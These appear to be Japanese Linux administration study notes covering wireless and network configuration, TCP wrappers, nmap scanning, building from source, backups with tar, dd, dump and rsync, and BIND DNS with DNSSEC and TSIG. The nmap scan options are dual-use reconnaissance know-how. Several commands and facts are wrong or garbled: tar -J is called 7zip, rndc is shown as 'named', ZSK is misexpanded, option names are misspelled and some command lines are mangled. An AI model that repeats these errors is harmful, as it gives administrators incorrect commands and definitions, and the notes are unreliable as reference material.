  • WPA … TKIPやAESなどの暗号方式やIEEE802.1x認証などから構成される、AESの方がセキュリティ強度が高い

iwconfigコマンド

WLANの設定や状態を確認するコマンド。

iwconfig [wlanN] [essid ESSID] [key [s:]WEPキー]

なおWPA/WPA2の場合は、Wpa_passphraseコマンドで設定ファイルを作成する。

wpa_passphrase windsor wlan_no_passphrase ] ファイル名.conf

作成した上記ファイルは/etc/wpa_supplicant以下に保存する。 接続はwpa_supplicantコマンドで行う。

iwコマンド

無線インターフェースの情報を参照/設定することができるコマンド。

iw dev [デバイス名] [コマンド] # インターフェースに関する表示設定を行う
iw phy [デバイス名] [コマンド] # デバイスに関する表示設定を行う
devのコマンド説明
link接続状況の表示
scan接続可能なAPをスキャン
connectdisconnect
phyのコマンド説明
interface adddel
info暗号化や周波数の使用可能状況の表示

iwlistコマンド

無線インターフェースの情報を取得できるコマンド。

iwlist 無線インターフェース パラメータ
パラメータ説明
scanningscan [essid ID]
channel設定可能なチャネルを表示
rate伝送速度の表示

6.2. 高度なネットワークの設定/トラブルシューティング

6.2.1. ネットワーク関連のファイル

Linuxのネットワーク関連の設定ファイルに関して記載する。

/etc/hostname

ホスト名を記載する設定ファイル。

/etc/hosts

ホスト名とIPアドレスの対応表を記述するファイル。 記述方法は以下の通り。

# IPアドレス  ホスト名 ホスト名の別名

/etc/networks

ネットワーク名とネットワークアドレスの対応表を記述するファイル。 デフォルトでは未記載。

# ネットワーク名 ネットワークアドレス

/etc/nsswitch.conf

名前解決の問い合わせ順序を記述するファイル。 名前解決の手段は以下の通り。

  • /etc/hostsファイルの使用
  • DNSサーバの使用
  • LDAPサーバの使用

/etc/resolve.conf

問い合わせ先のDNSサーバやドメイン名の設定を記述するファイル。

/etc/sysconfig/network

ネットワーク機能の使用/不使用、ホスト名、デフォルトゲートウェイなどの設定を記述する。 原則RHELL系で使用される

なおRHEL7/CentOS7系以降ではnmcliコマンドでの設定が推奨されている。 またIPv6はNETWORKING_IPV6で有効化できる。

/etc/sysconfig/network-scripts/

ネットワークデバイスの設定ファイルが設置されるディレクトリ。

/etc/network/interfaces

Debian系で使用されるネットワークデバイスの設定ファイルが設置されるディレクトリ。

6.2.2. NetworkManager

Linuxでネットワークを動的管理する仕組み。 設定ファイルを書き換えてもこのサービスにより書き換えられる可能性があるため、設定する際は無効化するかnmciコマンドで設定するといった方法が挙げられる。

6.2.3. TCPラッパ

ネットワークサービスに対するアクセス制御を行うプログラム。 デーモン名はtcpd、使用するライブラリはlibwrapとなる。

TCPラッパーには/etc/hosts.allow/etc/hosts.denyという2つの主要なファイルがある。 /etc/hosts.allowファイルでアクセス許可の設定を行い、/etc/hosts.denyファイルでアクセス拒否の設定を行う。

なお設定ファイルの変更後は再起動しなくても設定は反映される。

これらのファイルの書式は以下の通り。

サービス名 : ホスト名|IPアドレス

具体的には以下のような形となる。

ALL : 192.168.10.0/255.255.255.0 : ALLOW
ALL : ALL : DENY

6.2.4. ネットワークのトラブルシューティング

ネットワークが正常につながらない場合

確認事項は以下の通り。

  1. pingによる疎通確認
  2. DNSサーバの稼働状況//etc/resolv.confの確認
  3. routeによるルートテーブルの確認

上記でうまくいかない場合はtraceroutemtrによる経路確認も行う。

パケット転送許可

Linux OSをルータとして機能させる場合はカーネルパラメータのnet.ipv4.ip_forwardを1にすることでパケット転送を有効化できる。 IPv4の場合は以下で可能。

sysctl -w net.ipv4.ip_forward=1

6.2.5. その他のネットワークのコマンド

nslookupコマンド

DNSでホスト名とIPアドレスを変換するコマンド。

nslookup

digコマンド

nslookupより詳細に行う。

hostnameコマンド

自身のホストに関する詳細を調べられるコマンド。

hostname [オプション]
オプション説明
なしホスト名を表示
-dDNSドメイン名の表示
-iIPアドレスを表示
-fFDQNを表示(完全修飾ドメイン名を表示)
-aエイリアスを表示

nmapコマンド

詳細が不明なネットワークの構造を調査したり、セキュリティ上の問題がないかを検査する目的で、ネットワークのスキャンを行うことができるコマンド。

nmap [スキャンタイプ] [オプション] 対象
スキャンタイプ説明
-sTTCPスキャン
-sUUDPスキャン
-sPPingスキャン
オプション説明
-p対象ポート範囲の指定
-F有名ポートを対象に高速スキャン
-O対象ホストのOS識別を行う

14.2.7 - 7.システムのメンテナンス

ソースからのインストール(makeコマンド)やLinuxのバックアップ方法に関して

7.1. ソースからのインストール

7.1.1. ソースの展開

Linuxのソフトウェアはアーカイブ形式で配布される。 アーカイブはtarコマンドで作成された後、gzipbzip2xzを使って圧縮される。

アーカイブの展開と回答は以下の通り。

tar zxvf [圧縮ファイル] # .gzの場合
tar jxvf [圧縮ファイル] # .bz2の場合
tar Jxvf [圧縮ファイル] # .xzの場合
  • .gzの場合 … gunzipgzip
  • .gzipの場合 … bunzip2bzip2
  • .xzの場合 … unxzxz

アーカイブの中には以下の内容が含まれることが多い。

  • ソースファイル … C言語などで書かれたソースコード
  • ヘッダファイル … C言語のヘッダファイル
  • configureファイル … コンパイルに必要な環境をチェックするスクリプト
  • ドキュメント … インストールの手順/注意事項が書かれたファイル

ソースファイルが含まれたアーカイブを展開した後、以下の手順でコンパイルからインストールを行う。

  1. ./configure
  2. make
  3. su (必要の場合)
  4. make install

なおインストール(make install )後にプログラムを起動するとき、環境変数LD_LIBRARY_PATHが正しく設定されていないと、プログラムの実行に必要な共有ライブラリを読み込むことができず、起動に失敗する事がある。

patchコマンド

差分ファイル(パッチファイル)を既存のソースコードに適用してソースコードをバージョンアップするコマンド。

patch [オプション] < [パッチファイル]
cat [パッチファイル] | patch [オプション]
オプション説明
-d ディレクトリ指定したディレクトリに移動して処理を行う
-pパッチファイル内に書かれたパス名を修正する(-p0: パス名を修正しない, -p1: 最後の/まで削除する, -p2: 次のディレクトリまで削除する)
-Cどういう処理を行うかテストする
-Rパッチの適用を取り消して戻す

7.1.2. Makefileの作成

Makefileはconfigureスクリプトにより、プログラムをコンパイルする際に必要な寛容をチェックし環境に合わせたファイル。 カレントディレクトリにあるスクリプトの実行はファイル名に./を付ける。

なおconfigureの主なオプションは以下の通り。

オプション説明
–help説明を表示する
-prefix=ディレクトリインストール先のトップディレクトリを指定する

7.1.3. コンパイルとインストール

makeコマンド

Makefileに従ってソースコードをコンパイル、リンクするコマンド。 なおコンパイル後はsudo make installでインストールする。

この際のinstallターゲットと呼ばれる。

make [オプション] [ターゲット]
オプション説明
-C ディレクトリ指定したディレクトリに移動してから処理を実行する
–file=ファイルMakefileを指定する
-j N同時にNのジョブを並行して実行する

またmakeのターゲットは以下のようなものがある。

ターゲット説明
allコンパイルを行う(デフォルト)
installソフトウェアのインストール
uninstallアンインストールする
cleanコンパイル時に生成された一時ファイルを削除する

なおインストールしたものは/usr/local/bin/usr/localsbinなどに配置された。

7.2. バックアップ

7.2.1. バックアップの種類

完全バックアップ(フルバックアップ)

すべてのファイルを対象としてバックアップを行うもの。 特徴は以下の通り。

  • バックアップに時間がかかる
  • バックアップに必要な容量も大きい

差分バックアップ

前回のフルバックアップ以後に作成/変更されたファイルのみをバックアップする。 特徴は以下の通り。

  • フルバックアップより処理に時間がかからない
  • バックアップ後にはフルバックアップと最新の差分バックアップが必要

増分バックアップ

前回のバックアップ(フルバックアップ/差分バックアップ/増分バックアップ)以後に作成/変更されたファイルのみをバックアップする。 特徴は以下の通り。

  • 3種類で最も処理時間が短い
  • 復元にはフルバックアップ/それ以降の増分バックアップが必要

7.2.2. バックアップデバイス

バックアップに利用できるデバイスには以下のようなものがある。

CD-R/RW リムーバブルハードディスク

CD-R/RWは安価で容量が小さい。 リムーバブルハードディスクは高速で大容量で高価となる。

DVD-R/RW

DVD-R/RWはCD-R/RWより大容量なディスク。 容量は4.7GB~8.54GBほど。

BD-R/RE

BD-R/REはDVD-R/RWよりも大容量なメディア。 容量は約25GB~50GBほど。

特徴は以下の通り。

  • BD-Rは一度のみ書き込み/追記が可能
  • BD-REは繰り返し書き換えできる

磁気テープ

大容量で低価格のメディア。 容量は規格により異なり、また定期的に取り換える必要がある。

規格容量
DDS440GB(圧縮時)
SuperDLT-300320GB(圧縮時)
LTO Ultrium3800GB(圧縮時)

7.2.3. オンサイトとオフサイト

バックアップの保管場所にはオンサイトオフサイトのバックアップがある。

  • オンサイト … バックアップ対象のシステムと同一拠点にバックアップを保管する
  • オフサイト … 別拠点にバックアップを保管する

ネットワーク経由のバックアップ

ツールではAMANDA, Balcula, BackupPC, Bareosなどでネットワーク経由でバックアップ可能。 またストレージ用のネットワーク構築にはSANが使用される。

  • AMANDA … 1台のAmandaサーバでネットワーク内の複数のクライアントをテープ/ディスクドライブにバックアップ可能
  • Balcula … 1台のBaculaサーバでネットワーク内の複数のクライアントを様々な記録メディアにバックアップ可能、CUI/GUIを使える
  • BackupPC … いくつかの標準プロトコルを利用するのでクライアント不要のバックアップツール、WebUIを使用可能
  • Berous … Baculaプロジェクトから派生したバックアップツール

7.2.3. ローカルのバックアップ

tarコマンド

tarコマンドはファイルやディレクトリを1つのアーカイブファイルにしたり、圧縮/展開するコマンド。 デフォルトで圧縮しないため、tarコマンドで圧縮を行うためには-zオプションや、-jオプションを指定する必要がある。

tar [オプション] [ファイル]
オプション説明
-cアーカイブの作成
-xアーカイブからファイルの取り出し
-tアーカイブの内容の確認
-f ファイル名アーカイブファイル名の指定
-zgzip による圧縮 ・ 展開
-jbzip2 による圧縮 ・ 展開
-J7zip による圧縮 ・ 展開
-v詳細な情報の表示
-uアーカイブ内にある同じ名前のファイルより新しいものだけを追加
-rアーカイブにファイルの追加
-N指定した日付より新しいデータのみを対象とする
-M複数デバイスへの分割
–deleteアーカイブからファイルの削除

使用例は以下の通り。

tar jcf /dev/sdb1 - # USBメモリにホームディレクトリ

cpioコマンド

ファイルをアーカイブファイルにコピーしたり、アーカイブからファイルをコピーできるコマンド。

cpio [フラグ] [オプション]
フラグ説明
-i オプション パターンアーカイブからファイルを抽出
-o オプションアーカイブの作成
-p オプション ディレクトリファイルを別のディレクトリにコピー
オプション説明
-A既存のアーカイブファイルに追加
-d必要な場合にディレクトリの作成
-rファイルを対話的に変更
-tコピーせず、入力内容の一覧表示
-vファイル名の一覧表示

使用例は以下の通り。

ls | cpio -o > /tmp/backup

ddコマンド

入力側に指定したファイル内容をファイルもしくは標準出力に送るコマンド。 デバイス間のディスクコピーやブートドライブの作成に利用可能。

dd [オプション]
オプション説明
if=入力ファイル入力側の指定(標準は標準入力)
of=出力ファイル出力側ファイルの指定(標準は標準出力)
bs=バイト数入出力のブロックサイズを指定
count=回数回数分の入力ブロックをコピーする

ddコマンドでは入力に以下のいずれかの特殊ファイルを指定してデータの上書きを行える。 格納されたデータを消去することが可能。

  • /dev/zero … 16進数のデータ「0x00」を生成する特殊ファイル
  • /dev/urandom … 擬似乱数を生成する特殊ファイル

dumpコマンド

ファイルシステム単位でext2/ext3/ext4ファイルシステムをバックアップするコマンド。 バックアップからファイルを取り出すときなどに使用でき、磁気テープにバックアップを取る際に適している

dump [オプション] [バックアップ対象]
オプション説明
0~9dumpレベルを指定する(0は完全バックアップ)
uバックアップ実装時に/etc/dumpdatesを更新する
f デバイス名バックアップ装置のデバイスを指定する

dumpレベルの指定で増分バックアップが可能。 なお増分バックアップを行う際はuオプションの指定し、バックアップの記録を/etc/dumpdatesに記録する必要がある。

dump 0uf /dev/st0 /dev/sda4

磁気テープの命名規則には以下のような特徴がある。

  • /dev/st0 … 自動巻き戻しをする
  • /dev/nst0 … 自動巻き戻しをしない

restoreコマンド

dumpコマンドで作成したバックアップからファイルやディレクトリを取り出すコマンド。

restore [オプション] [ファイル名]
オプション説明
rすべてのファイルを取り出す
i対話的にファイルを取り出す
f デバイス名バックアップ装置のデバイスを指定

mtコマンド

テープドライブを操作するコマンド。

mt [-f デバイス] [オペレーション]
オペレーション説明
statusテープの状態を表示
tellテープの現在地の表示
rewindテープを先頭に巻き戻す
fsf NテープをN個先のデータを先頭位置まで早送りにする
compression 1ハードウェア圧縮を使用する
compression 0ハードウェア圧縮を使用しない

使用例は以下の通り。

# テープの現在地から3つ先にあるデータの先頭位置までテープを早送り
mt -f /dev/st0 fsf 3

7.2.4. ネットワーク経由でのバックアップ

rsyncコマンド

リモートホスト間でファイルやディレクトリをコピーできるコマンド。

rsync [オプション] [ホスト名:] バックアップ元ディレクトリ [ホスト名:] バックアップ先ディレクトリ
オプション説明
-vコピー中のファイルを表示
-aアーカイブモード(属性もそのままコピー)
-rディレクトリ内を再帰的にコピーする
-u変更/追加されたファイルのみをコピーする
-lシンボリックリンクをそのままコピーする
-Hハードリンクをそのままコピーする
-o所有者をそのまま維持
-g所有グループをそのまま維持
-tタイムスタンプをそのまま維持する
-nテスト
-zファイルを圧縮する
-deleteコピー元ファイル削除コピー先でも削除する

使用例は以下の通り。

# ローカルホスト内でdirディレクトリを/backupディレクトリ内にコピー
rsync -auv --delete dir /backup
# ローカルホスト内でdirディレクトリ内のファイルを/backupディレクトリ内にコピー
rsync -auv --delete dir/ /backup

# host12の/backupに差分保存する例
rsync -auvz --delete -e ssh dir host12:/backup

7.3. ユーザのシステム管理情報の通知

7.3.1. ログイン前後にメッセージの送信

ログイン後と前のメッセージ

ログイン前のメッセージ表示は/etc/issueに、ログイン後のメッセージ表示は/etc/motdを使うことで可能。

具体的にはメンテナンス予定やサービス停止連絡/新しいソフトウェア情報などを告知する際に使用する。

システム情報の表示

ログインプロンプト表示前にシステム情報やメッセージ/etc/issueに表示される。 記述する方法は「\r」でカーネルバージョン、「\m」でマシンアーキテクチャ、「\n」でホスト名、「\l」は端末名を表す。

7.3.2. ログイン中のユーザへのメッセージ送信

wallコマンド

wallコマンドによるメッセージ送信はログイン中のユーザに一斉に送信できる。

wall "コメント"

shutdown -kコマンド

shutdown -kコマンドでも指定したメッセージを伝える。

shutdown -k now "メッセージ"

mesgコマンド

使用中のターミナルへ他のユーザがwriteコマンドやtalkコマンドでメッセージを送信できるかどうかを制御できるコマンド。

mesg [y | n]

talkコマンド

指定したログイン中のユーザとチャットができるコマンド。

talk ユーザ[@ホスト]

writeコマンド

コマンドの後に入力したメッセージを指定したユーザのターミナルに1行ずつ送信するコマンド。

write ユーザ [tty]

14.2.8 - 8.DNS

bind(DNSサーバ)やDNSをLinuxで使う際のポイントなど

8.1. DNSの基礎知識

8.1.1. 名前解決

DNSサーバはホスト名とIPアドレスを相互に変換する名前解決という仕組みを提供する。 ホスト名からIPアドレスを求めることは正引き、その逆を逆引きと呼ぶ。

ホスト名はコンピュータに付けられた固有の名前。 ドメイン名(XX.comなど)はホストの所属するネットワーク上の区画を表す。

www.XX.comなどはFDQN(完全修飾ドメイン名)と呼ばれる。

8.1.2. DNSの仕組み

LinuxにおけるDNSによる名前解決(www.XX.comの例)の手順は以下の通り。

  1. Webサーバやアプリは名前解決ライブラリのリゾルバに名前解決を依頼する
  2. リゾルバは/etc/resolv.confに指定されているDNSサーバAに問い合わせを行う
  3. DNSサーバAはルートDNSサーバに問い合わせを行う
  4. ルートDNSサーバはwww.XX.comを知らない代わりに、.com管轄のDNSサーバCの情報を返す
  5. DNSサーバAはDNSサーバCに対し問い合わせる
  6. DNSサーバCは名前解決対象のドメイン名を知らない代わりに、XX.com管轄のDNSサーバDの情報を返す
  7. DNSサーバAはDNSサーバDに対し問い合わせる
  8. DNSサーバDはwww.XX.comのIPアドレスを返す
  9. DNSサーバAは得られた情報をキャッシュしリゾルバに送信する
  10. リゾルバは得られたIPアドレスをWebブラウザやアプリに知らせる

8.1.3. DNSサーバ

BIND

BIND(ISC DNS)はDNSサーバソフトウェアであり、多くのLinuxディストリビューションで採用されている。 BINDのサーバデーモンはnamedである。

/etc/dhcpd.conf

BIND以外のDNSサーバ

名前説明設定ファイル
dnsmasqDNS/DHCPサーバ機能を提供する軽量ソフトウェア/etc/dnsmasq.conf
PowerDNSコンテンツサーバ/キャッシュサーバ機能を提供する。DNSのキャッシュサーバやDHCPサーバなどの機能を持つ/etc/pdns/pdns.conf
djbdnsDNSのキャッシュサーバとコンテンツサーバの機能が分かれているDNSサーバ。RDBは使用できない/var/djbdns/dnscache/以下

ゾーン

ゾーンはDNSサーバが管轄するドメインの範囲のこと。 ゾーンを管理できる権威を持っていることは権威を持つと呼ぶ。

また下位のDNSサーバに対しゾーン管理を移すことは委譲と呼ぶ。

マスタDNSサーバ/スレーブDNSサーバ

  • マスタDNSサーバ
    • ゾーンファイルを所有するDNSサーバ
  • スレーブDNSサーバ
    • マスターDNSサーバのゾーン情報をコピーするDNSサーバ

なおマスタDNSサーバからスレーブDNSサーバへゾーン情報をコピーすることはゾーン転送と呼ばれる。

再帰的な問い合わせ

再帰的な問い合わせは最終的な結果を要求するDNS問い合わせのこと。 無条件に再帰的に問い合わせを許可すると、第3者からの問い合わせに回答しなくならないため、自ドメインからのみの問い合わせに対し許可をする。

8.1.4. DNSクライアントコマンド

nslookupコマンド

IPを調べたり、DNSサーバに問い合わせなどを行えるコマンド。

nslookup [オプション] [ホスト名|ドメイン名|IPアドレス]
オプション説明
-type=レコードレコードタイプの指定
-norescue再帰的問い合わせをしない

hostコマンド

DNSサーバを用いてホスト/ドメインに関する情報を表示するコマンド。 デフォルトでホスト名/IPアドレスの変換のみを行い、またDNSによる名前解決の確認に利用される。

host [オプション] ホスト名|ドメイン名|IPアドレス [問い合わせDNSサーバ]
オプション説明
-t タイプリソースレコードタイプの指定
-v詳細情報の表示

digコマンド

詳細な情報をDNSサーバから取得できるコマンド。

dig [@問い合わせ先DNSサーバ] ホスト名|ドメイン名|IPアドレス [クエリタイプ]
オプション説明
-x指定されたIPアドレスの逆引きを行う
-p ポート番号問い合わせ先のポート番号を指定(53番がデフォルト)
クエリタイプ説明
aホスト名に対応するIPアドレス(デフォルト)
ptrIPアドレスに対応するホスト名
nsDNSサーバ
mxメールサーバ
soaSOAレコード情報
hinfoホスト情報
axfrゾーン転送
txt任意の文字列
anyすべての情報

なお問い合わせ後に表示されるflagsには以下のようなものがある。

フラグ説明
qr問い合わせに対する回答
aa権威のある回答
rd再帰検索を希望
ra再帰検索が可能

また回答の表示されるセクションは4つに分かれる。

  • QUSETION SECITION
    • 問い合わせ内容の表示
  • ANSWER SECTION
    • 問い合わせの回答内容の表示
  • AUTHORITY SECTION
    • 問い合わせ先に権威がある場合に表示
  • ADDITIONAL SECTION
    • 回答したホストのIPアドレスなど追加情報が表示

8.2. BINDの基本設定

BINDの設定は/etc/named.confとゾーンファイルで構成される。

8.2.1. /etc/named.conf

// rndcコマンドによるnamedの操作を許可するホストの指定
controls {
    inet 127.0.0.1 allow { localhost; };
};

// ゾーンファイルを格納するディレクトリ指定
options {
    directory "/var/named";
};

// ルートDNSサーバの指定
zone "." {
    type hint;
    file "named.ca";
};

// ローカルホストの正引き設定
zone "localhost" {
    type master;
    file "0.0.127.in-addr.zone";
};

// ローカルホストの逆引き設定
zone "0.0.127.in-addr.arpa" {
    type master;
    file "0.0.127.in-addr.arpa.zone";
};

// example.netドメインの正引き設定
zone "example.net" {
    type master;
    file "example.net.zone";
};

// example.netドメインの逆引き設定
zone "30.20.10.in-addr.arpa" {
    type master;
    file "30.20.10.in-addr.arpa.zone";
}

また/etc/named.confのステートメントは以下の通り。

ステートメント説明
aclACLの定義
controllsnamedを操作できるホストの設定
include外部ファイルの読み込み
key認証情報の設定
optionsnamedの操作に関する詳細設定
zoneゾーンの定義

aclステートメント

アクセス制御リスト(ACL)を定義する。 アドレスマッチリストにはIPアドレス/ネットワークアドレスを記述する。

acl acl名 {
    アドレスマッチリスト
};

なお定義済みACLは以下の通り。

  • any … すべてのIPアドレス
  • localhost … ローカルホストが使用しているIPアドレス
  • none … いずれのIPアドレスともマッチしないアドレス

includeステートメント

指定した外部ファイルを読み込む。

include "/etc/rndv.key";

optionsステートメント

namedの動作に関する詳細なオプションを設定する。 利用可能なオプションは以下の通り。

重要なパラメータは太字にしてある。

オプション説明
directory ディレクトリパスゾーンファイルを格納するディレクトリ
datasizeデータセグメントサイズの上限
coresizeコアファイルのサイズ上限
max-cache-size キャッシュサイズ最大キャッシュバイト(Byte単位)
rescursion Yes|No再帰問い合わせの受け付け有無
rescusive-clients クライアント数再帰問い合わせの最大同時接続数
allow-query問い合わせを受け付けるホスト
allow-transferゾーン転送を許可するホスト
allow-updateゾーン情報の動的アップデートを受け付けるホスト
blackhole問い合わせを受け付けないホスト
forwarders { IPアドレス; }問い合わせの回送先DNSサーバ
forward only|first問合せ転送の失敗時の動作を設定する
notifyゾーンデータの更新をスレーブサーバに通知するかの有無
versionバージョン表示

なおフォワード(回送)は自身がゾーン情報を保存せず、キャッシュもない場合に問い合わせがあれば別のDNSサーバに問い合わせる機能のこと。

controllsステートメント

namedを操作できるホストのIPアドレス/ポート番号を指定する。

controls {
    inet 127.0.0.1 allow { localhost; }
};

zoneステートメント

ゾーン名、ゾーンタイプ、ゾーンファイルの場所を指定する。 ゾーンタイプは以下の通り。

タイプ説明
hintルートDNSサーバの指定
master指定したゾーンに対してのマスタDNSサーバ
slave指定したゾーンに対してのスレーブDNSサーバ
zone "example.com" {
    type master;
    file "example.net.zone";
};

named.confの設定

ルートDNSサーバのIPアドレスを最新情報に変更するには以下のように操作する。

dig @m.root-servers.net. ns > /var/named/[hint情報ファイル]

named-checkconfigコマンド

named.confの設定の構文チェックを行うコマンド。

named-checkconf [named.confのパス]

chrootしている場合は-tオプションでchrootディレクトリパスを指定する。

named-checkconf -t [chrootのパス] [named.confのパス]

8.2.2. rndcコマンド

namedの操作を行うコマンド。

named [サブコマンド]
サブコマンド説明
stopnamedの終了
refreshゾーンデータべースのリフレッシュ
stats統計情報をnamed.statsに書きだす
statusnamedのステータスを表示する
dumpdbキャッシュの内容をファイル出力する
reload ドメイン指定したゾーンファイルを再読み込みする
haltnamedを停止する

8.3. ゾーンファイルの管理

DNSサーバは複数ゾーンの管理ができ、ゾーン情報はゾーンごとにゾーンファイルに記載する。 ゾーンファイルはnamed.confで指定した数だけ必要になる。

ゾーンファイルの種類は以下の通り。

種類説明
hint情報ファイルルートDNSサーバ一覧
正引きファイルホスト名からIPアドレスの対応関係を記述
逆引きファイルIPアドレスからホスト名への対応関係を記述

また書式は以下の通り。

名前 [TTL値] IN リソースレコードタイプ 値

8.3.1. リソースレコード

ソースファイルに記述する内容は以下の通り。

  • $ORIGIN … レコードで補完するドメイン名の指定
  • $TTL … 他のDNSサーバがゾーンデータをキャッシュする時間の指定

またリソースレコードではゾーン情報を記述する。 ドメイン名はFDQNで指定し、最後に.をつける。 リソースレコードのタイプは以下の通り。

リソースレコードタイプ説明
SOA管理情報の記述
NSゾーンを管理するDNSサーバを記述
MXメールサーバを記述(正引きのみ)
Aホスト名に対するIPアドレスを記述(正引きのみ)
AAAAホスト名に対するIPv6アドレスを記述(正引きのみ)
CNAMEホスト名の別名に対するホスト名を記述(正引きのみ)
PTRIPアドレスに対するホスト名を記述(逆引きのみ)
TLSAデジタル署名されたレコード。サーバ認証に使われる証明書や鍵の情報がドメイン名に対して関連付けられてDANE(DNSを使った認証の仕組み)で用いられる

SOAレコード

ゾーンに関する基本情報を記載する。

名前 IN SOA DNSサーバ  メールアドレス (
    [値] ;Serial 
    [値] ;Refresh
    [値] ;Retry
    [値] ;Expire
    [値] ;Negative TTL
)
項目説明
Serialシリアル番号の記述
RefreshマスタDNSサーバのゾーン情報変更をスレーブDNSサーバがチェックする間隔の指定
RetryスレーブDNSサーバがマスタDNSサーバにアクセスできないときに何秒後に再試行するかの指定
ExpireスレーブDNSサーバがマスタDNSサーバにアクセスできないときに何秒後にゾーン情報を破棄するかの指定
Negative TTL存在しないドメインに対するキャッシュの有効期限の設定

NSレコード

DNSサーバをFDQNで指定する。 DNSサーバ1つにつき1つずつ記述する。

名前 IN NS DNSサーバ名

MXレコード

MXレコードはメールサーバがメールを送る際に参照するもの。

名前 IN MX プリファレンス値 メールサーバ名

プリファレンス値は値が小さいほど優先度が高い。 「10」ずつ値を区切るのが一般的となる。

Aレコード

ホスト名に対するIPアドレスを指定する。

ホスト名 IN A IPアドレス

AAAAレコード

ホスト名に対するIPv6アドレスを指定する。

ホスト名 IN AAAA IPv6アドレス

CNAMEレコード

ホスト名の別名を記述する。

別名 IN CNAME ホスト名

PTRレコード

IPアドレスに対するホスト名を記述する。

IPアドレス.in-addr-arpa. IN PTR ホスト名

なおIPv6の場合は4bitごとに「.」を挿入、「:」を削除記載する。

8.3.2. ゾーンファイルの設定

named-checkzoneコマンド

ゾーンファイルの構文チェックを行うコマンド。

named-checkzone [オプション] ゾーン名 ゾーンファイル名
オプション説明
-t ディレクトリchrootしている場合のディレクトリ指定
-w ディレクトリゾーンファイルのディレクトリ指定

named-compilezoneコマンド

バイナリデータのゾーンファイルの内容を確認できるコマンド。

named-compilezone

8.4. DNSサーバのセキュリティ

8.4.1. 通常のセキュリティオプション

named.confの設定で強化できるセキュリティ設定をいくつか記載する。

ゾーン転送の制限

スレーブDNSサーバはマスタDNSサーバからゾーン情報を転送する必要があるが、スレーブDNSサーバ以外はその必要がない。 ゾーン転送をスレーブDNSサーバのみに限定する場合は以下のように行う。

zone "example.net" {
    allow-transfer { 192.168.128.3; };
};

この設定により、ゾーン情報の全体を外部から問い合わせることが制限できる。

DNS問い合わせの制限

DNS問い合わせの制限は不要なDNSサーバ利用を阻止することが可能。 また再帰的な問い合わせの禁止は不正なキャッシュデータをDNSサーバに送りつけるキャッシュ汚染攻撃を回避することができる。

; 192.168.120.0/24からの問い合わせ/再帰的な問い合わせの許可
options {
    allow-query { 192.168.120.0/24; };
    allow-rescursion { 192.168.120.0/24; };
};

; 以下のゾーンはすべてのホストからの問い合わせの許可
zone "example.net" {
    allow-query { any; };
};
zone "192.168.120.in-addr.arpa" {
    allow-query { any; };
};

バージョン番号の秘匿

digコマンドによりBINDのバナー情報として表示することができる。 そのためバージョンを秘匿するにはoptionsオプション内でversionオプションに任意の文字列を指定する。

options {
    version "unknown DNS Server";
};

root以外によるnamedの実行

root権限以外でnamedを実行すれば、DNSサーバがクラッカーにより侵入されたとしても被害を最低限に抑えることができる。 BINDをパッケージでインストールするとnamedユーザが生成され、その権限で実行されることになる。

確認はps -f -C namedで可能。 chrootを使用することでさらに侵入されたときの被害をおさえることができる。

chroot: 任意のディレクトリをプロセスにとっての「/」と扱うことで、そのディレクトリ以外をアクセスできないようにする手法

この場合、namedの運用に必要なファイルはchrootディレクトリ以下に配置する必要がある。

8.4.2. DNSSEC/TSIG

DNSの仕組み強化の仕組みにはDNSSEC/TSIGなどがある。

DNSSEC(DNS Security)はゾーン情報の信頼性を保証するための仕組みで、具体的にはゾーン情報に公開鍵暗号方式の電子署名を行うことでゾーン情報が改ざんされていないこと、DNS応答が正当な管理者により行われることを保証する。 DNSSECの利用にはDNSサーバ/クライアント両方対応している必要がある。

DNSSECの仕組みは以下の通り。

  1. ゾーン情報のハッシュ値(DS)とDNSサーバの秘密鍵で暗号化したものを電子署名とする
  2. DNS問い合わせの際にゾーン情報/電子署名をクライアントに送信する
  3. クライアントは電子署名をDNSサーバの公開鍵で復号する
  4. ゾーン情報のハッシュ値と電子署名の復号結果が一致すれば保証

DNSSEC

この仕組みを順につなげることで信頼性のあるDNSのつながりが完成する。

またゾーン情報に電子署名を行う鍵をZSK(Zone Security Key)、ZSKに電子署名を行う鍵をKSK(Key Signing Key)と呼ぶ。 BIND 9.3.0以降でDNSSECは対応している。

DNSSECの設定

DNSSECをBINDで実装する手順は以下の通り。

  1. ZSK鍵ペアを作成する(ゾーンファイルを格納しているディレクトリで行う)
    • 例:dnssec-keygen -r /dev/random -a RSASHA256 -b 1024 -n zone example.net
    • 上記により公開鍵と秘密鍵が生成される(生成されたファイル名最後5桁は鍵ID)
  2. KSK鍵ペアを作成する
    • 例:dnssec-keygen -r /dev/urandom -f KSK -a RSASHA256 -b 2048 -n zone example.net
    • 上記により公開鍵と秘密鍵が生成される(生成されたファイル名最後5桁は鍵ID)
  3. ゾーンファイルに生成した公開鍵が読みこまれるように設定する
    • $INCLUDE "鍵ファイル名"
  4. dnssec-signzoneコマンドによりゾーンファイルに署名を行う
    • 例:dnssec-signzone -o example.net example.net.zone
    • 署名後にゾーン名.signed(署名ファイル)が生成される

なお上位ゾーンへ管理する組織へDSレコード登録を申請する必要がある。

TSIGの設定

TSIG(Transaction SIGnatures)は共有秘密鍵の利用によりマスタDNSサーバになりすまし、偽のゾーンデータをスレーブDNSサーバに送ることや、ゾーンファイルを改ざんする攻撃を防ぐための仕組みのこと。 これはマスタDNSサーバ/スレーブDNSサーバがゾーン転送によりゾーンデータを同期することの性質によるもの。

TSIGの設定は以下の通り。

  1. dnssec-keygenコマンドにより共有鍵ファイルの作成
    • 例:dnssec-keygen -a HMAC-MD5 -b 128 -n HOST tsig-key
  2. named.confに共有鍵ファイルを記載する

マスタDNSサーバの例(tsig-keyは鍵名)

key "tsig-key" {
    alogorithm hmac-md5;
    secret "keyの中身":
};

zone "example.net" {
    type master;
    file "example.net.zone";
    allow-transfer { 192.168.1.100; };
};

スレーブDNSサーバの例(tsig-keyは鍵名)

key "tsig-key" {
    alogorithm hmac-md5;
    secret "keyの中身":
};

server 192.168.1.25 {
    keys { tsig-key; };
};

zone "example.net" {
    type slave;
    file "example.net.zone";
};

8.4.3. DANE

DANE(DNS-based Authentication of Named Entitie)はDNSSECの技術を応用して認証情報をDNSベースでやり取りする仕組み。 DNSSECにより、リソースレコードの正当性確認の仕組みがDNSに組み込まれたため、HTTPSなどで使われるX509の証明書とドメインの紐づけの役割を、認証局からDNSに移すことを目的にし、策定されている。

デジタル署名されたレコードをTLSAレコードと呼び、webのHTTPSで使用されるTLSと技術的には同じ方法を用いて、信頼の基盤を認証局からDNSSECに変更する。

14.2.9 - 9.Webサーバとプロキシサーバ

Web(Apache, Nginx)、プロキシ(Squid)に関して

9.1. Webサーバの設定

